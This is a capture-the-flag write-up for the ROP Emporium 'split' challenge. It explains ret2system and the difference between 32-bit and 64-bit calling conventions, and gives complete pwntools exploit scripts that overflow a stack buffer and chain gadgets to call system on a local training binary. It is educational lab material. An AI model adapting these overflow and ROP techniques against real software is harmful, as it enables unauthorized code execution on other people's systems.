> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web2-ctf/rop-emporium/split.md).

# split

## split 32bit

### Solution

Examine the strings contained in the binary:

The idea is using ret2system to call `system("/bin/cat flag.txt")`. For 32-bit binaries, **the arguments for a function call is stored on the stack**. Pictorially, the stack frame looks like the following:

```
buffer
function => EIP
return_address
arg1
arg2
arg3
...
```

In our case, we should set up the stack into the following state:

```
b"A" * offset => junk
system => Overwrite EIP with the address of system()
exit => This is called when system() returns (return address)
/bin/cat flag.txt => This is the argument for system()
```

Note that we don't really know the address of `exit()`. It is okay to use `b"B" * 4` to replace `exit()` for this challenge. **However, this dummy padding would destory a process in real-world scenarios**, so make sure you always use `exit()` as the return address for `system()`.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="i386", os="linux")
elf = ELF("split32", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.eip)

log.info(f"offset: {offset}")

#--------ret2system--------#

system = elf.plt["system"]
usefulString = 0x0804a030

payload = flat(
    b"A" * offset,
    system, # call system("/bin/cat flag.txt")
    b"B" * 4, # return address for system
    usefulString, # arg for system
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()
```

## split 64bit

### Solution

For 64-bit binaries, the calling convention is completely different. Instead of storing arguments on the stack, **64-bit binaries store the first 6 arguments in registers**, in the following order:

1. arg1 => RDI
2. arg2 => RSI
3. arg3 => RDX
4. arg4 => RCX (user space) or R10 (kernel space)
5. arg5 => R8
6. arg6 => R9

If there are more arguments, those extra arguments will be stored on the stack. However, it is rare to see function calls with more than 6 arguments.

As a result, now we need to store the address of `"/bin/cat flag.txt"` in RDI before calling `system()`. The trick is to use a `pop rdi ; ret` gadget. This gadget can be easily found with ROPgadget if it exists in the binary.

Another tricky thing is **stack alignment**. Starting from Ubuntu 18.04 and onward, the stack is aligned in **16-byte boundaries**. Without this alignment, we would call:

```
pop_rdi, arg,
system
```

With this alignment, we should call:

```
pop_rdi, arg,
ret, system
```

The `ret` gadget here is a padding that makes sure the stack is properly aligned. Keep this in mind, it will save you a lot of time from debugging.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("split", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 4))

log.info(f"offset: {offset}")

#--------ret2system--------#

# ROPgadget --binary split --only "pop|ret" | grep rdi
pop_rdi = 0x4007c3
usefulString = 0x601060
# ROPgadget --binary split --only "ret"
ret = 0x40053e
system = elf.plt["system"]

payload = flat(
    b"A" * offset,
    pop_rdi, usefulString,
    ret, system,
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()
```
